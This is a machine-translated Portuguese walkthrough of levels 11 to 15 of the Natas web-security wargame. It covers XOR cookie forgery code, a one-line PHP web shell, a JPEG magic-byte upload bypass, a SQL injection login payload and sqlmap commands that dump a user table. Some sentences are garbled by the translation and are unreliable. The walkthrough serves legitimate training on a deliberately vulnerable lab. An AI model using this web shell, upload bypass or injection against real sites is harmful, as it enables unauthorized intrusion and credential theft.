Natas Web. Passagem da plataforma CTF destinada a explorar vulnerabilidades da Web. Parte 2

imagem

Neste artigo, trataremos da operação de algumas identidades da WEB usando o jogo de guerra Natas como exemplo. Cada nível tem acesso à senha do próximo nível. Todas as senhas também são armazenadas nos arquivos / etc / natas_webpass /. Por exemplo, a senha para natas5 é armazenada no arquivo / etc / natas_webpass / natas5 e é somente leitura para usuários natas4 e natas5.

Informações Organizacionais
Especialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:

  • PWN;
  • criptografia (criptografia);
  • tecnologias de rede (rede);
  • reverso (engenharia reversa);
  • esteganografia (estegano);
  • pesquisa e exploração de vulnerabilidades na WEB.

Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.

Para que você possa descobrir sobre novos artigos, software e outras informações, criei um canal no Telegram e um grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações pessoais e responderei a todos .

Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.

nível 11


Analise o código:

  1. a senha estará disponível se o valor da matriz de dados com a chave showpassword for "yes";

    imagem
  2. a matriz de dados é criada pela função loadData, na qual os dados padrão são passados ​​como um parâmetro;

    imagem

    imagem
  3. a função loadData carrega valores de dados de um cookie (codifica dados em base64, criptografa xor em uma chave desconhecida, decodifica dados no formato json);

    imagem

    imagem
  4. define os valores recebidos.

O que você precisa fazer:

  1. recuperar chave de criptografia XOR:
    • pegue dados criptografados de um cookie;
    • decodificar base64;
    • codificar dados padrão no formato json;
    • O Proxor recebeu cronogramas.
  2. codifique e criptografe os novos dados usando o algoritmo inverso, em que showpassword == yes ;
  3. insira os novos dados no cookie e recarregue a página.

imagem

<?php function xor_encrypt($in, $k) { $key = $k; $text = $in; $outText = ''; for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $old_data_code = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw"; $old_data_decode = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); $new_data_decode = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); $KEY = xor_encrypt(base64_decode($old_data_code), json_encode($old_data_decode)); echo "key: ". $KEY . "\n"; $KEY="qw8J"; $new_data_code = base64_encode(xor_encrypt(json_encode($new_data_decode), $KEY)); echo "new cookie: " . $new_data_code . "\n"; ?> 

imagem

imagem

nível 12


Quando você salva o arquivo no site, ele é salvo com um nome aleatório e uma extensão JPEG. Mas o mais importante é que esse nome seja formado e fornecido ao usuário em um campo oculto do formulário oculto antes mesmo de o arquivo ser selecionado e, depois disso, enviado ao servidor com o arquivo.

imagem

Tarefa: criar php-shell, interceptar a solicitação para o servidor e
altere o nome do arquivo para * .php.

 <? echo system($_GET["cmd"]); ?> 

imagem

Usamos o Burp Suite: Definimos as configurações de proxy do navegador para 127.0.0.1:8080. Envie o shell. Na guia Proxy, substituímos a solicitação.

imagem

imagem

imagem

Voltamos ao nosso arquivo no servidor, passando comandos para a linha de comando através do parâmetro cmd.

 cat /etc/natas_webpass/natas13 

imagem
Esse tipo de vulnerabilidade é classificado como Upload irrestrito de arquivo.

Para criar um Shell, é melhor usar constantes php, pois a execução das funções do sistema pode ser proibida pelas configurações do servidor.

nível 13


Ao salvar o mesmo shell no servidor, somos informados de que isso não é uma imagem. Analisamos o código.

imagem

A função exif_imagetype está presente.

imagem

imagem

Para verificar o arquivo JPEG, essa função usa a função interna is_jpeg, que verifica os quatro primeiros bytes do arquivo.

imagem

O fato é que o intérprete php executa código que está entre <? ?>, pulando todos os outros caracteres. Abra o shell do nível anterior no editor hexadecimal e adicione os bytes 0xFFD8FFE0 ao início do arquivo.

imagem

Envie para o site por analogia com o nível anterior e obtenha uma senha.

imagem

nível 14


Um erro comum no formulário de autorização. Consulta ao banco de dados:

 SELECT * from users where username="username" and password="password"; 

imagem

É possível sempre tornar a solicitação verdadeira: login = "admin" ou 1 = 1 - ".

imagem

Nesse caso, ou 1 = 1 retorna true, e o restante da solicitação é comentado:

 SELECT * from users where username="admin" or 1=1; 

Tiramos a senha.

imagem
Esse tipo de vulnerabilidade pertence à categoria de Injeção SQL.

nível 15


Neste formulário, analisamos a operação do sqlmap. Envie uma solicitação e intercepte os dados e o cabeçalho HTTP.

imagem

imagem

Selecionamos apenas as informações necessárias no cabeçalho. Nesse caso: User-Agent, Referer, Authorization. Defina os parâmetros do sqlmap:

  • -u "URL"
  • --headers = "Cabeçalhos HTTP, separados por` \ n`"
  • --data = "dados da solicitação POST"
  • --current-db - determina qual banco de dados é usado
  • --tamper = space2comment - substitui o espaço pela string / ** / (no SQL, é a mesma coisa)
  • --level = (1-5) - nível de verificação
  • --risk = (1-3) - risco de varredura

imagem

O Sqlmap determinou que o parâmetro username é vulnerável à injeção cega baseada em booleano e mostrou a resposta correta do banco de dados ao evento correto (na varredura subsequente, você pode especificar imediatamente o parâmetro vulnerável e o tipo de injeção: -p username e --technique = B).
B: Injeção SQL cega baseada em booleano
Injeção SQL da consulta U: UNION
T: Injeção SQL cega com base no tempo
E: Injeção SQL baseada em erro
S: Injeção SQL de consultas empilhadas

O Sqlmap detectou o MySQL DBMS (nas varreduras subsequentes, o parâmetro --dbms = MySQL) e perguntou se era necessário determinar a versão do mysql (o padrão é yes).

imagem

O Sqlmap relatou que a versão do MySQL> = 5.0.12 (isso é necessário para selecionar as constantes do utilitário DBMS).

imagem

O Sqlmap determinou a carga do parâmetro username e perguntou se outros parâmetros deveriam ser verificados (por padrão, não). Também mostra a carga.

imagem

Fornece informações sobre o nó e, conforme solicitado, o banco de dados atual: natas15.

imagem

imagem

Dados os novos dados conhecidos, descobrimos as tabelas do banco de dados natas15:

  • -D "banco de dados"
  • --tables - define tabelas

imagem

Sqlmap definiu uma tabela de usuários.

imagem

Reconhecemos as colunas na tabela de usuários:

  • -T "mesa"
  • --columns - define colunas

imagem

O sqlmap definiu 2 colunas.

imagem

Despejamos a tabela de usuários (opção --dump). O despejo levou 3 minutos. Executamos a solicitação em 8 threads (--threads 8) - como resultado: 1 minuto.

imagem

Tiramos a senha.

Para ser continuado. Você pode se juntar a nós no Telegram .

Source: https://habr.com/ru/post/pt464443/


All Articles